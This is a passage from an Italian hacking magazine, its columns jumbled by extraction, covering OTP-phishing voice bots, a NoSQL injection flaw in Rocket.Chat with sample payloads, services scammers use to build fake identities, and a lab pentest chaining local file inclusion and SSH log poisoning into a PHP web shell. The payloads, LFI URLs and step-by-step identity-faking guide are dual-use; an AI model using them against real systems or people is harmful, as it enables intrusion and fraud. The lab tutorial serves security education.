al cyberattaccante, però, è il bot lato interagisce per esempio il costo di sviluppo. Adesso
giusto capace di fare questo tipo con PayPal e dell’altro recupera le customizzazioni sono molto
di operazione. Dove procurarselo? il one-time code e lo sa utilizzare semplici e vengono fatte
Niente di più semplice, c’è un per fare rapidamente la rapidamente, con linguaggi
marketplace per questo. transazione, sempre con un po’ di scripting facili.
di offuscamento per non essere Così, il bot viene “personalizzato”
ALLA FIERA DEI BOT tracciabile. Niente di esoterico, e anche per attaccare banche
Usare un bot è un modo per si possono fare tunnel e onion locali, che oltretutto hanno
internazionalizzare un attacco: routing per rendere il tutto difese più limitate. Gli scammer
se la telefonata di PayPal ancora più difficile da seguire. riescono a effettuare transazioni
arrivasse da qualcuno con Il bot alla fine è una piccola suite al volo per piccole cifre
un pesante accento straniero software che nel Dark Web costa su account che vengono
o addirittura che parlasse russo, circa 500 euro. Ma il suo mercato immediatamente svuotati
sarebbe molto poco credibile. sta esplodendo. Anche perché al primo bancomat usando
Invece, il bot è “sicuro”. i sistemi di sicurezza sono carte prepagate anonime
E supera qualsiasi timidezza impreparati per proteggersi o acquistate online con
del cyberattaccante perché per da questo tipo di attacco. documenti falsi.
fare una truffa telefonica ci vuole I cattivi sono Otp Agency,
sangue freddo e una certa È UN MONDO DIFFICILE BloodOPT, 10toGo e tutti
abilità. Il bot non è solo un Costruire un sistema che sia gli altri bot che sono diventati
sintetizzatore vocale, ma anche sicuro, utilizzando OTP (one time lo spauracchio degli esperti
un sistema che innanzitutto si password) o 2FA (autenticazioni di cybersecurity. Sfruttano
debolezze nel sistema di
I bot che effettuano chiamate vocali autenticazione e soprattutto nel
modo con i quali gli utenti usano
non sono solo scocciature, ma questi servizi. Loro si fidano
possono anche nascondere pericoli e così si lasciano fregare.

 18
hackerjournal.it

Il punto di riferimento per chi fa dell’hacking


una filosofia di vita
La crew di Hacker Journal ti aspetta ogni giorno sul suo nuovo sito Web, il ritrovo della sua ricca comunità
hacker. Troverai anticipazioni degli articoli, news dal mondo della (in)sicurezza, contest, offerte speciali e
un forum che vuole essere il punto di riferimento per chiunque voglia diventare un esperto di sicurezza.
In un periodo storico in cui governi e multinazionali si divertono a spiare tutto e tutti, sulle
pagine della rivista e sul suo sito scoprirai come difenderti e contrattaccare. #HJisBACK

Scopri il sito e la comunità di Hacker Journal


Forum: iscriviti subito e inizia a dialogare con la redazione e la comunità di HJ
• News: le ultime notizie su cyberintrusioni, furti
di credenziali, bug, malware e altro ancora
• Contest: metti alla prova le tue conoscenze
con i giochi e le sfide della redazione
• Collezione HJ: i vecchi numeri della rivista,
in PDF, da scaricare
• Invia un articolo: ti piace scrivere e hai un’idea
originale per un articolo? Inviacela e la valuteremo!
HACKTUALITÀ

BUC A R E L A C H AT
SENZA SQL
GLOSSARIO
DI BASE

SQL
Simple Query Language, è un
st em a di m es sa g g is tica Rocket.Chat
linguaggio per database basato Il si
sulle query, cioè delle
cu ne no SQ L inje ct io n che permettono
ha al
di bypassare il login
interrogazioni che usano una
sintassi ben definita. Ogni
a un malintenzionato
operazione, dall’inserimento di
amministrazione
dati alla ricerca, viene eseguita ottenendo i privilegi di
passando al motore del database

L
una richiesta che è
sostanzialmente una stringa avorando con un database istantanea utilizzato da molte
di testo. L’alternativa ai database
SQL occorre validare tutti community online e all’interno
che usano l’SQL sono i database
noSQL, nei quali si utilizzano i dati forniti dall’utente per di aziende. Alcuni gruppi di
delle librerie per accedere agli evitare che qualcuno possa sviluppatori di software Open
elementi della base dati come se passare una stringa che, se inserita Source la utilizzano come
fossero degli oggetti (ciascuno nella query prevista dall’app, la strumento di supporto per gli
con le sue funzioni e proprietà).
spezzi ed esegua altre istruzioni utenti, consentendo anche
SQL. Si potrebbe pensare che i l’accesso a chi non è autenticato.
SQL INJECTION
Applicazione basata su SQL che database noSQL non abbiano di Naturalmente c’è una distinzione
ha il compito di comunicare con questi problemi. Gli sviluppatori di tra gli utenti semplici e gli
il database costruendo delle MongoDB, uno dei più famosi amministratori, fondamentale per
query e inviandole. Per costruire database noSQL, avevano scritto: garantire la privacy e la sicurezza di
le query viene spesso utilizzato
“Con MongoDB non costruiamo tutti. Ma con una noSQL injection
un input dell’utente: questo
significa che se il testo fornito query da stringhe, quindi i è possibile ottenere, a causa di un
dall’utente non viene pulito tradizionali attacchi SQL injection bug nell’applicazione, l’accesso
adeguatamente, si potrebbero non sono un problema”. Che non è a un account di amministrazione,
inserire comandi SQL e cambiare né del tutto vero, né del tutto falso. con un controllo completo sulla
il funzionamento della query. messaggistica privata di tutti.
VELOCE COME UN RAZZO Il principio di funzionamento delle
JSON
È un formato testuale che Tra le applicazioni più famose noSQL injection è sostanzialmente
memorizza dizionari e array: basate su MongoDB c’è Rocket. lo stesso delle SQL injection,
coppie di dati (chiave e valore), Chat, un sistema di messaggistica cambia solo la forma. In MongoDB
e liste di dati. È ormai uno
standard per scrivere tipologie
di dati che vanno in coppia, per Ricordiamo che attaccare server
esempio “nome”: “Garfield”
e “animale”: “gatto” oppure altrui è un reato, per cui facciamo
“cibo preferito”: “lasagna,
polpette, croccantini”.
esperimenti solo sulle macchine
che abbiamo tirato su noi

 20
VULNERABILITÀ
{“$ne”:1}

Se l’applicazione non pulisce l’input


dell’utente, il malintenzionato
inserirà questa stringa nel
dizionario che potrà essere
interpretata come oggetto. E
quindi la condizione per la verifica
della password diventerebbe:

figura #1 {

L’exploit permette l’estrazione di informazioni critiche come hash della username: “admin”,
password e token per il reset delle credenziali. password: {
“$ne”:1
memorizziamo documenti JSON, accetta sia una stringa che un }
non tabelle. Un tipico documento oggetto (l’operatore $gt è a sua }
è qualcosa del genere: volta racchiuso in un dizionario).
In una situazione come questa è Siccome la password sarà sempre
{ possibile per l’utente eseguire una diversa da “1”, la condizione
_id: noSQL injection se l’app prende il risulterebbe vera e il login verrebbe
“507f1f77bcf86cd799439011”, suo input e lo inserisce nel JSON quindi autorizzato. Anche se
name: “admin”, senza controllarlo adeguatamente. Rocket.Chat verifica questo tipo di
age: 42, Per esempio, una query per input, una volta loggati è possibile
secrets: { verificare la corrispondenza della sfruttare una noSQL injection per
token: “s3cr3t” password di un utente è: ottenere un accesso da root.
},
role: “unprivileged” { RAMPA DI LANCIO
} username: “admin”, L’API di Rocket.Chat users.list
password: “s3cret” prende i parametri per la ricerca
In questo caso, una semplice query } degli utenti dall’URL della sua
per trovare gli utenti che hanno il chiamata. Questi parametri
ruolo di amministrazione e più di Ma il malintenzionato potrebbe vengono utilizzati per costruire la
40 anni avrebbe questa forma: scrivere al posto della password: query sulla collection degli utenti.

{
age: {
$gt: 40
},
role: “unprivileged”
}

L’operatore $gt indica il “maggiore”


(greater than). La query è vista
come un dizionario nel quale le
chiavi indicano il campo in cui
cercare e il valore è la condizione
figura #2
posta. Il problema è che come È stato pubblicato un exploit in Python che prova automaticamente a
valore da cercare, MongoDB recuperare le credenziali di accesso di un amministratore da Rocket.Chat.

21 
HACKTUALITÀ
ENTITÀ DELLA VULNERABILITÀ
Ogni volta che si passano dati Se è possibile ottenere l’hash della
a un database, essi devono essere password di un amministratore
sanificati, altrimenti si rischia grosso è chiaro che un’installazione
di Rocket.Chat non può essere
Siccome nella collection vi sono collection, ma non considera i vari considerata sicura. Le eventuali
dei campi che non devono essere operatori messi a disposizione a un conversazioni private rischiano
accessibili a tutti, è stato livello più alto da MongoDB stesso. di essere trafugate. Ma non solo:
implementato un controllo basato È quindi possibile inserire nella Rocket.Chat ha una serie
su una blacklist: vengono rifiutate query l’operatore $where, che di estensioni che creano dei
tutte le richieste di campi che non prende una espressione regolare webhook, per il collegamento ad
dovrebbero essere pubblici. e la esegue con l’interprete altri servizi, che possono essere
Questo è un estratto del codice: JavaScript. Questa cosa diventa abilitate da un amministratore.
interessante perché c’è un Il problema è che è possibile anche
API.v1.addRoute(‘users.list’, dettaglio sulla gestione degli errori definire uno script da avviare
{ authRequired: true }, { che torna comodo ai quando il webhook viene attivato
get() { malintenzionati. La query: da una chiamata. Gli script
// … vengono eseguiti dalla VM di
const { sort, { “$where”:”this. NodeJS, ma sappiamo bene che
fields, query } = this. username===’admin’ && (()=>{ questo non è un vero meccanismo
parseJsonQuery(); throw this.secret })()”} di sicurezza. È quindi chiaro
const users = Users. che un malintenzionato diventato
find(query, { /* … */}). fornirebbe la risposta: amministratore potrebbe
fetch(); preparare uno script che, tramite la
return API.v1. { “success”: false, funzione exec, esegue dei comandi
success({ “error”: “uncaught sulla macchina di Rocket.Chat.
users, exception: aHR0cHM6Ly9iaXQubHk A questa vulnerabilità si aggiunge
// … vM3VQclgwUA==”} un’altra noSQL injection che
}); permette, con un certo numero
}, che contiene proprio l’hash della di tentativi, di ottenere il token
}); password dell’utente admin. per il reset della password di un
Un malintenzionato può risalire qualsiasi utente. Unendo i due bug
Il problema sta proprio in questo alla password tramite un attacco è possibile per un malintenzionato
controllo: autorizzare una query a dizionario o bruteforce, e anche privo di qualsiasi accesso alla chat
in base a una blacklist è in realtà ottenere altre informazioni come ottenere dapprima il login come
abbastanza permissivo e poco l’email e il secret per l’eventuale utente semplice, e poi le credenziali
sicuro, perché significa che tutti i autenticazione a due fattori. di un amministratore.
campi non specificati nella blacklist
possono essere oggetto della
query. Quindi basta dimenticarsi
di includere qualche campo nella
LA SOLUZIONE
blacklist e diventa possibile lanciare
query pericolose. Sarebbe più
sicuro un meccanismo a whitelist,
I n seguito alla responsible disclosure delle vulnerabilità da parte
del team che le ha scoperte (SonarSource), gli sviluppatori hanno
rilasciato dei bugfix in meno di un mese. La versione vulnerabile
con una limitata selezione di campi è la 3.12.1: è consigliabile aggiornare la propria installazione
di Rocket.Chat alla 3.12.4 o anche alla 3.13.2. I fix consistono
accessibili. È quello che è successo:
“semplicemente” in un controllo molto più rigido dell’input
la blacklist tiene in considerazione dell’utente, per assicurarsi che sia una stringa e non un oggetto.
soltanto i campi presenti nella

 22
SICUREZZA
profili fake Pirati e false identita
Alcune risorse per creare identità fittizie da usare in Rete............................................... 24

pentesting Attacco ai log! Terza parte


Dopo XSS e DoS, ecco a voi un attacco RCE in salsa log!................................................. 28
SICUREZZA

Pirati e false identità


Abbiamo scovato alcune delle risorse che i criminali
informatici possono usare per creare falsi profili
e cercare di raggirarci per carpirci soldi o dati sensibili

 24
PROFILI FAKE

L
e truffe online sono, di sforzarsi nel creare un nome ARMA
purtroppo, all’ordine e un indirizzo credibili, non fa
A DOPPIO TAGLIO
del giorno. Per esempio, altro che andare su un sito
Creare profili falsi è un’arma
la classica email nella come Fake Name Generator
a disposizione anche degli
quale un fantomatico avvocato (https://fakenamegenerator. hacker buoni e delle Forze
o un parente di un defunto com). Approdato al sito, non dell’Ordine. Insomma, si
ci offrono una donazione e ci deve fare altro che selezionare possono usare per ingannare
chiedono quindi tutti i nostri il sesso (Gender), la nazionalità chi ci vuole ingannare.
È quanto ha fatto un nostro
dati personali e il numero di del nome (Name set) e la
collaboratore nel numero 254
telefono. Oppure quando una nazionalità “di residenza” di Hacker Journal, riuscendo a
graziosa signorina ci contatta (Country). Preme il pulsante carpire alcune informazioni sul
su Facebook dicendo che siamo Generate e il sito crea quasi criminale che stava cercando di
il suo partner perfetto. all’istante un profilo fake (finto) truffarlo per poi passare il tutto
Ovviamente l’identità di chi di tutto rispetto, con indirizzo alla Polizia Postale, l’ente
preposto a questo tipo di
scrive è falsa. Ma i criminali di residenza, data di nascita,
indagini. Nell’articolo potete
nascosti dietro queste truffe nome della madre, casella leggere le procedure che ha
come fanno a creare delle di posta temporanea su usato per incastrare il furfante.
identità credibili? Fanno chissà fakemailgenerator.com, un Come dice il detto, chi la fa
quali ricerche offline e online numero di telefono che i servizi l’aspetti!
o usano mezzi particolarmente online dovrebbero ritenere
sofisticati? Comprano i dati valido, caratteristiche fisiche,
di altre persone nel Dark Web? una falsa carta di credito,
Beh, se qualcuno ci vuole tirare colore preferito e altro ancora.
un brutto scherzo, la risposta In questo modo si possono
è molto più semplice. creare profili di molte nazioni
del mondo, dall’Australia
SEMPLICI SERVIZI ONLINE all’Uruguay. Non esiste un’app
Se il pirata di turno vuole crearsi mobile per questo sito,
una falsa identità trova in Rete ma se il pirata vuole trasferire
diverse “armi” a sua i dati nella rubrica del suo
disposizione. Partiamo dai dati smartphone, così da averli
anagrafici. Il criminale, invece sempre con sé, può usare

Un clic e si cambia
identità. Grazie a Fake
Name Generator un
pirata impiega solo
qualche istante per
creare un’identità fittizia
da usare per frodarci,
facciamo attenzione.

25 
SICUREZZA
Per i più pigri.
Se il pirata non ha
neanche voglia di copiare
e incollare i dati
falsi dell’identità fake
che ha creato, può usare
l’estensione Fake Data
che compila i form online
in automatico.

CHE ASPETTO HA?


Il criminale che vuole usare
un profilo finto sui social, per
esempio, ha bisogno anche di
una foto della persona “creata”.
il Qr Code che appare andando in che si usa per registrarsi su un Non si può certo fotografare
fondo alla pagina del falso profilo social network, fa clic destro con lui stesso, quindi ricorre a siti
e premendo il link che si trova il mouse e sceglie l’opportuno Web come https://
accanto alla scritta Qr Code. dato falso dalla voce Fake Data thispersondoesnotexists.com o
del menu a comparsa. Per https://generated.photos/faces.
L’ESTENSIONE “FALSARIA” esempio, per inserire il nome Il primo sito crea una diversa
Un contro di Fake Name durante la registrazione su foto di una persona inesistente
Generator è che per usare Facebook, si sceglie la voce Fake ogni volta che si ricarica la
online i dati generati il pirata Data > first_name. Appena pagina Web. Quando il pirata
li deve copiare e incollare installata, l’app genera identità trova un volto adatto all’utente
(o digitarli) ogni volta che li usa. USA: per cambiare nazionalità che vuole impersonare, non
Per questo motivo, può il pirata clicca sull’icona fa altro che fare clic destro
installare un’estensione dell’estensione, poi sull’icona sulla foto e salvarla sul disco.
per browser come Fake Data con l’ingranaggio per entrare Il secondo servizio è un po’ più
(https://www.fakedata.pro). nelle opzioni e alla voce evoluto e mette a disposizione
È disponibile per Firefox, Generator language sceglie diverse opzioni per la
Chrome, Edge e Opera ed esiste la nazionalità che gli interessa. generazione di foto.
in due versioni: gratuita (più Nella stessa pagina ci sono altre Per esempio si può decidere
che adatta nella maggior parte opzioni su cui agire. Per avere il colore dei capelli o degli occhi,
dei casi) o a pagamento (Pro a disposizione una email se la foto deve essere ripresa
e Ultra). Una volta installata, temporanea e un numero frontalmente o con la “persona”
il pirata posiziona il cursore in di telefono utilizzabile per leggermente girata a destra
uno dei campi di inserimento l’autenticazione degli account, o a sinistra. O, ancora, se deve
dati del form online che deve il pirata deve acquistare una essere giovane o anziana.
compilare, per esempio quello delle due versioni a pagamento. Le immagini sono create,
in base ai parametri scelti,
da un’Intelligenza Artificiale.
Creare profili finti e false identità Per usare il servizio il pirata
deve registrarsi (e userà
in Rete per ingannare qualcuno sicuramente un profilo fake...).
è un reato, facciamo attenzione Con la versione gratuita

 26
PROFILI FAKE
è possibile scaricare immagini
JPG dalla risoluzione ridotta
(512x512 pixel) e con una
filigrana (che un pirata riesce
a rimuovere senza troppi
problemi...).

EMAIL, SIM E ALTRO


I pirati completano la loro
opera creando delle email
temporanee, non possono
certamente usare la propria
per frodare qualcuno.
Per esempio usano un sito come
Guerrilla Mail (www.
guerrillamail.com/it) o Temp
Mail (https://temp-mail.org/it). perfettamente legali. Con Anonabox
Quest’ultimo sito offre anche Infine, per nascondere il proprio navighiamo nella
un’estensione per i browser indirizzo IP e quindi evitare di rete TOR ed entriamo
più diffusi e un’app mobile essere geolocalizzato mentre nel Dark Web senza
per Android e iOS. è online, il truffatore usa servizi installare nulla nel
Per quel che riguarda il numero di VPN, dei proxy, la rete TOR nostro PC, neanche
di telefono, il criminale può o uno scatolotto come il TOR browser.
ricorrere a siti come https:// Anonabox (https://www.
temporary-phone-number.com anonabox.com) e magari anche
scegliendo una delle nazioni delle estensioni per impedire
disponibili (non c’è l’Italia) al browser Web di mostrare
oppure altri servizi simili. le caratteristiche del browser
O ancora, acquista delle stesso e del PC usato, evitando
SIM anonime nei Paesi limitrofi cioè il cosiddetto “browser
al nostro, nei quali sono fingerprinting”.

Praticamente reali.
L’Intelligenza Artificiale
di https://generated.
photos/faces
genera fotografie di
persone inesistenti
difficilmente distinguibili
da quelle reali.

27 
SICUREZZA

TERZA PARTE

Attacc o a i l o g ! o RCE in salsa log!


a voi un attacc
Dopo XSS e DoS, ecco

I
niziamo la nuova puntata legale. In questa fase della verifica abbiamo ottenuto lo scopo
di questa serie con un breve di sicurezza ci siamo focalizzati di mostrare quanto possa essere
riepilogo di quanto visto sinora. sullo strato applicativo, e più pericoloso, per la sicurezza
Siamo impegnati nella verifica precisamente sul server Web, che complessiva di un sistema,
di sicurezza di una rete di ospita la Web application disporre di un meccanismo di log
addestramento ribattezzata Mutillidae (vedi omonimo box). progettato in maniera grossolana
“palestra per pentester”, che o non sufficientemente protetto.
abbiamo realizzato mediante I LOG DEL SISTEMA Eppure quello implementato da
ricorso alla virtualizzazione (come Nelle ultime puntate ci siamo Mutillidae non è l’unico sistema
descritto nel PDF che trovate soffermati in particolare sulle di log a essere in pericolo:
all’URL https://bit.ly/palestra_hj). vulnerabilità che affliggono il mettendo a sistema le informazioni
La palestra ci consente di sistema di log di Mutillidae [figura sin qui raccolte e sfruttando in
migliorare le nostre abilità di #1], che siamo riusciti a colpire con maniera opportuna le vulnerabilità
penetration tester in erba senza attacchi di tipo Cross Site Scripting della Web app, possiamo
correre alcun rischio di natura e Denial of Service. In questo modo estendere il campo dei nostri
attacchi ai log prodotti dal sistema
operativo del server Web.
figura #1
LOCAL FILE INCLUSION
Come? Semplice: sfruttando
l’attacco di tipo Local File
Inclusion (per gli amici LFI) che
abbiamo scoperto qualche puntata
fa. Ricordate? Stiamo parlando
di un attacco teso a esfiltrare i file
contenuti nel filesystem locale del
server (che, è bene sottolineare,
La pagina Show-Log, contenente di norma non dovrebbero essere
i log salvati da Mutillidae. accessibili all’utente www-data)
 28
PENETRATION TEST
figura #2 La pagina Show-Log
attaccata tramite LFI
restituisce il contenuto
del file /etc/passwd.

• il nome e il path del file siano


a noi noti;
• il file risulti accessibile in lettura
all’utente che esegue il server Web
(ovvero, come abbiamo appurato
nelle precedenti puntate, all’utente
sfruttando un’apposita LFI & LOG www-data).
vulnerabilità della Web app, Si tratta solo di uno degli Sono condizioni soddisfatte dalla
generalmente legata a un innumerevoli modi per sfruttare stragrande maggioranza dei file
insufficiente controllo di un input questa tecnica: in presenza di sistema, come i file relativi alla
utente. Abbiamo già visto all’opera di un’applicazione completamente configurazione DNS o, tanto per
questo attacco contro Mutillidae: vulnerabile (e Mutillidae rientra restare in tema, i file di log.
per esempio, l’URL http://www. proprio in questa categoria),
labpentest.hj/mutillidae/index. i limiti di utilizzo di un attacco LFI LOG DI SISTEMA
php? page=../../../etc/passwd dipendono solo dalla nostra In una macchina Linux come quella
ci consente di visualizzare a video fantasia e creatività. Abbiamo che stiamo attaccando, il principale
i contenuti del file /etc/passwd infatti accesso praticamente contenitore di questo tipo di file è
[figura #2], con tanto di lista degli a qualsiasi file presente sull’hard rappresentato dalla directory /var/
utenti locali definiti sul server Web. disk del server, a patto che: log: è qui che vengono convogliati

d i t e s t c o m p l e t o
Un ambiente Rete
Internet 211.100.1.2 Target

Backbone
211.100.1.1 Server
212.100.1.3 FTP
Router
212.100.1.1

210.100.1.2
212.100.1.2
Pentester Server
210.100.1.1 Web

All’URL https://bit.ly/palestra_hj
trovate le istruzioni per creare
la palestra virtuale. 29 
SICUREZZA
figura #3
interprete come se si trattasse di
Un esempio del
una qualsiasi pagina dinamica.
contenuto tipico In altri termini, la vulnerabilità
della directory di tipo LFI può diventare il canale
/var/log. attraverso cui compiere un vero
e proprio attacco RCE (Remote
Command Execution)!

figura #4 SCRIVERE NEI LOG


Perché ciò sia possibile, tuttavia,
avremmo bisogno di incidere sui
contenuti dei log, pur operando da
semplici utenti ordinari dei servizi
erogati dal server Web. Esiste
un modo per riuscirci? La risposta
è sì, a patto di mettere a sistema
quanto appreso durante il
pentesting con le nozioni base del
log in ambiente GNU/Linux. Tutto
quello che dobbiamo fare è trovare
un servizio – tra i tanti offerti, come
Il contenuto del file /var/syslog del server Web.
abbiamo avuto modo di appurare,
non solo i log di sistema, ma anche la semplice esfiltrazione dei log dalla macchina “Server Web” – che:
quelli prodotti dai principali servizi non costituisce, tuttavia, un’attività • disponga di un meccanismo
e da alcune delle applicazioni particolarmente rilevante per di log attivo;
installate [figura #3]. Si tratta di file il nostro penetration test. • inserisca all’interno del log
che rispettano (nella stragrande Ben altro discorso se invece informazioni dipendenti dalle
maggioranza dei casi) i requisiti potessimo sfruttarli per eseguire richieste utente.
per un attacco LFI, in quanto dotati un’operazione sul sistema (magari In queste condizioni, controllando
di nomi prestabiliti e accessibili un comando di shell) rendendo tali informazioni possiamo
(in lettura) a tutti gli utenti: bidirezionale quello che, sinora, determinare l’inserimento di codice
niente dunque ci impedisce di avevamo considerato un canale PHP arbitrario all’interno dei log.
impossessarci dei relativi contenuti accessibile esclusivamente in Codice che sarà poi eseguito grazie
sfruttando la falla individuata lettura. Si tratta di un discorso all’attacco LFI appena visto…
in Mutillidae. Per esempio, risulta tutt’altro che campato in aria, visto
banale visualizzare a video che sul server Web disponiamo AUTH.LOG
i contenuti del file contenente i log di un interprete PHP in esecuzione: Non abbiamo bisogno di
di sistema, ovvero /var/log/syslog se uno dei file a cui accediamo approfondite conoscenze del
[figura #4]: http://www.labpentest. sfruttando la vulnerabilità dovesse sistema GNU/Linux per individuare
hj/mutillidae/index.php?page= contenere del codice PHP, questo due potenziali candidati, ovvero
../../../var/log/syslog sarebbe eseguito dal relativo il servizio Web (Apache, nel nostro

INTERPRETE PHP figura #5


Per quanto potenzialmente fonte
di informazioni d’interesse sul
sistema e sui relativi servizi,

Un esempio di contenuto
del file /var/log/
apache2/access.log.
 30
PENETRATION TEST
figura #6
Mutillidae
Mutillidae è una Web
application didattica,
Open Source e liberamente
installabile da chiunque
intenda migliorare le proprie
capacità di pentester. Rispetto
ad altre Web app simili
(come “Damn Vulnerable Web
Application” - DVWA, che
abbiamo visto nelle puntate
Un esempio di contenuto del file /var/log/auth.log. precedenti) si contraddistingue
per il suo approccio basato
sulle vulnerabilità appartenenti
specifico caso) e il demone SSH ci focalizzeremo su SSH. Prima alla lista denominata OSWAP
(sshd). Le nostre precedenti di iniziare l’attacco vero e proprio, Top 10 (www.owasp.org), che
indagini, infatti, ci hanno completiamo l’ultima verifica racchiude le 10 falle più diffuse
dimostrato come i due servizi siano preliminare: è possibile visualizzare in ambito Web. Sotto questo
profilo Mutillidae ci offre
in esecuzione sulla macchina il file dei log (/var/log/auth.log, un ambiente addestrativo
Server Web (rispettivamente come detto) tramite le pagine privilegiato, consentendo
alla porta 80 e 22); inoltre entrambi vulnerabili di Mutillidae? Per di confrontarci con le diverse
dispongono di un sistema di log provarlo, è sufficiente richiedere incarnazioni di ciascuna
delle vulnerabilità incluse
rientrante nei requisiti la visualizzazione dell’URL
nella OSWAP Top 10.
che abbiamo tracciato. http://www.labpentest.hj/
Più precisamente: mutillidae/index.php?page=../../../
• Apache conserva, nel file /var/ var/log/auth.log che ci mostra se l’utente in questione non esiste?
log/apache2/access.log [figura l’intero contenuto del file Per scoprirlo, effettuiamo una
#5] i dati relativi alle richieste HTTP d’interesse [figura #7]. connessione SSH alla VM “Server
provenienti dai client e alle relative Web”. Dalla nostra VM Kali,
risposte (tra cui possiamo citare VERIFICHE PRELIMINARI avviamo un terminale e inseriamo
parametri come il metodo Superato questo primo test, il comando
utilizzato, la risorsa richiesta o il è tempo di alzare l’asticella:
browser in opera, che si prestano sappiamo che sshd salva in # ssh ‘prova inserimento in
perfettamente ai nostri scopi); auth.log l’username dell’utente log’@www.labpentest.hj
• sshd inserisce all’interno del file che prova a effettuare il login
/var/log/auth.log [figura #6] i dati tramite SSH, ma cosa accade In questo modo chiediamo di
relativi ai tentativi di connessione creare una connessione SSH alla
in SSH alla macchina, salvando –
tra l’altro – informazioni come
il nome dell’utente che ha provato
figura #7
a effettuare il login da remoto.

LFI SU AUTH.LOG
A prima vista, dunque, non ci resta
che l’imbarazzo della scelta…
ma poiché nella puntata
precedente, per attaccare
il sistema di log interno di
Mutillidae, abbiamo già “giocato”
sui parametri associati alla
richiesta HTTP, questa volta Il contenuto del file /var/log/auth.log del server Web.
31 
SICUREZZA
Questo tentativo di login
figura #8 non va certo a buon fine
visto che l’esistenza
dell’utente indicato
è inverosimile.

GET e POST
ALL’ATTACCO! volta la pagina http://www.
Una volta appurata la possibilità labpentest.hj/mutillidae/index.
di inserire una stringa arbitraria php? page=../../../var/log/auth.log.
I due metodi HTTP principali
nel log, possiamo passare allo Tutto fila secondo le previsioni: nel
utilizzati per richiedere una
risorsa (come la pagina di un step successivo del nostro attacco, log possiamo vedere chiaramente
sito) a un server Web sono GET provando a iniettare del codice il messaggio d’errore [figura #11]
e POST, e si differenziano PHP in auth.log per verificarne
per le modalità con cui il la corretta esecuzione. Poiché Invalid user www-data
browser (ovvero il client)
trasmette gli eventuali parametri
siamo interessati a eseguire
della richiesta al server: un attacco RCE, optiamo per relativo al nostro tentativo fallito
• nelle richieste POST, l’iniezione nel log di un’istruzione di connessione SSH con l’utente
i parametri sono inseriti nel PHP in grado di eseguire un <? system(“whoami”);?>.
corpo della richiesta HTTP, e di
comando di shell, nel caso
conseguenza non sono visibili
all’utente né (immediatamente) specifico whoami: in questo caso, SALTO DI QUALITÀ
modificabili da quest’ultimo; il codice da inserire in auth.log è Utilizzando la tecnica che abbiamo
• nelle richieste GET, i parametri appena visto possiamo continuare
vengono accodati all’URL
<? system(“whoami”);?> a eseguire i comandi di shell che
e possono quindi essere notati
immediatamente dall’utente, desideriamo: ma si tratta di una
che può procedere alla modifica A tal fine, avviamo nuovamente procedura piuttosto lenta
semplicemente interagendo il client SSH con il comando e macchinosa. Ben altra cosa
con la barra degli indirizzi [figura #10] sarebbe disporre di una pagina
del browser.
in grado di eseguire i comandi
# ssh ‘<? inviati direttamente da browser:
macchina www.labpentest.hj system(“whoami”);?>’@www. in questo modo potremmo
(ovvero al server Web che stiamo labpentest.hj effettuare un salto di qualità
attaccando) per conto dell’utente nel nostro attacco e “interrogare”
‘prova inserimento in log’. Si tratta per poi visualizzare per l’ennesima la shell del server Web
di un tentativo chiaramente

figura #9
infruttuoso [figura #8], sia perché
è del tutto inverosimile l’esistenza
di un utente del genere, sia perché
la stragrande maggioranza (se non
la totalità) delle distro vieta l’utilizzo
di spazi nei nomi utente: ciò
nonostante, il comando svolge in
maniera corretta il compito che gli
abbiamo assegnato, ovvero quello
di inserire la stringa ‘prova
inserimento in log’ all’interno del
file di log, come testimonia la
pagina http://www.labpentest.hj/
mutillidae/index.php?page=../../../ Perfetto! Siamo riusciti a iniettare una stringa
var/log/auth.log [figura #9]. arbitraria nel file /var/log/auth.log!

 32
PENETRATION TEST
figura #10 Con questo tentativo di
login in SSH proviamo a
inserire codice PHP in
auth.log.

praticamente in tempo reale. figura #11


Perché ciò sia possibile, dobbiamo
inserire all’interno di auth.log
del codice PHP in grado non solo
– come fatto finora – di eseguire
un comando di shell, ma anche di
scegliere tale comando sulla base
delle indicazioni dell’utente.
Nelle condizioni in cui ci troviamo,
privi di un vero e proprio accesso
in scrittura al server Web,
implementare un’apposita casella Questa volta nel file /var/log/auth.log è stato
di testo per ricevere un input inserito codice PHP, correttamente eseguito
dall’utente sarebbe un’operazione dall’interprete PHP presente sul server Web.
proibitiva, se non virtualmente
impossibile. Per fortuna, non labpentest.hj, sarà sufficiente l’array associativo $_GET[]: è
siamo interessati più di tanto richiedere al browser la pagina sufficiente specificare come indice
all’interfaccia da utilizzare per con URL http://www.labpentest.hj/ il nome del parametro d’interesse
il nostro attacco, quanto piuttosto mutillidae/index.php?page=../../../ per ottenerne l’effettivo valore
alla sua concretezza: possiamo var/log/auth.log&comando=ls. attribuito dall’utente. Per esempio,
quindi optare per soluzioni diverse Insomma, un bel salto di qualità a fronte della richiesta da parte
(ma non meno efficaci), come nel nostro attacco, che ci dell’utente dell’URL che abbiamo
passare il comando di shell tramite consentirà di eseguire un numero appena citato, il parametro
l’URL richiesta dal browser. maggiore di comandi sul server $_GET[comando] restituirà la
Web, in maniera più rapida e meno stringa ls, coincidente per l’appunto
RICHIESTE GET & PHP soggetta a errori (visto che, a ogni con il comando di shell di cui
Tradotto in termini tecnici, significa comando, non corrisponderà più vogliamo richiedere l’esecuzione.
gestire – attraverso il codice PHP l’inclusione di codice PHP ad hoc Non ci resta, quindi, che effettuare
iniettato in auth.log – una richiesta nel file auth.log). ancora una volta (l’ultima, per
HTTP di tipo GET (vedi il box GET la precisione) una connessione
e POST) che, oltre a comportare IL CODICE PHP SSH al server Web, per iniettare
la visualizzazione (sfruttando Per accedere ai parametri passati in auth.log il codice
l’attacco LFI) del file di log, dalla pagina tramite una richiesta
provveda a passare al nostro GET, PHP mette a disposizione <? system(“$_GET[comando]”);?>
codice – attraverso un parametro
che chiameremo, poco figura #12
fantasiosamente, comando
– il comando di shell che vogliamo
eseguire. In questo modo, anziché
dover iniettare, per esempio,
il comando ls all’interno di auth.log, In questo modo iniettiamo in auth.log il codice PHP
collegandoci in SSH all’utente <? necessario a eseguire il comando di shell passato
system(“ls”);?>@www. tramite il parametro GET denominato “comando”.

33 
SICUREZZA
figura #13 approfondita, caratterizzata
dall’esecuzione di molteplici
comandi, questa procedura
può, tuttavia, rivelarsi alquanto
macchinosa. In contesti come
quello delineato abbiamo
bisogno di poter interagire
in maniera tempestiva con
la macchina target: in altre parole,
abbiamo bisogno di una shell!
Non si tratta di un obiettivo
Se proviamo a eseguire netcat per aprire una shell particolarmente complesso
sul server Web, la pagina sembrerà non completare da raggiungere, perché ormai
il caricamento... disponiamo di tutti gli strumenti
necessari… è infatti sufficiente
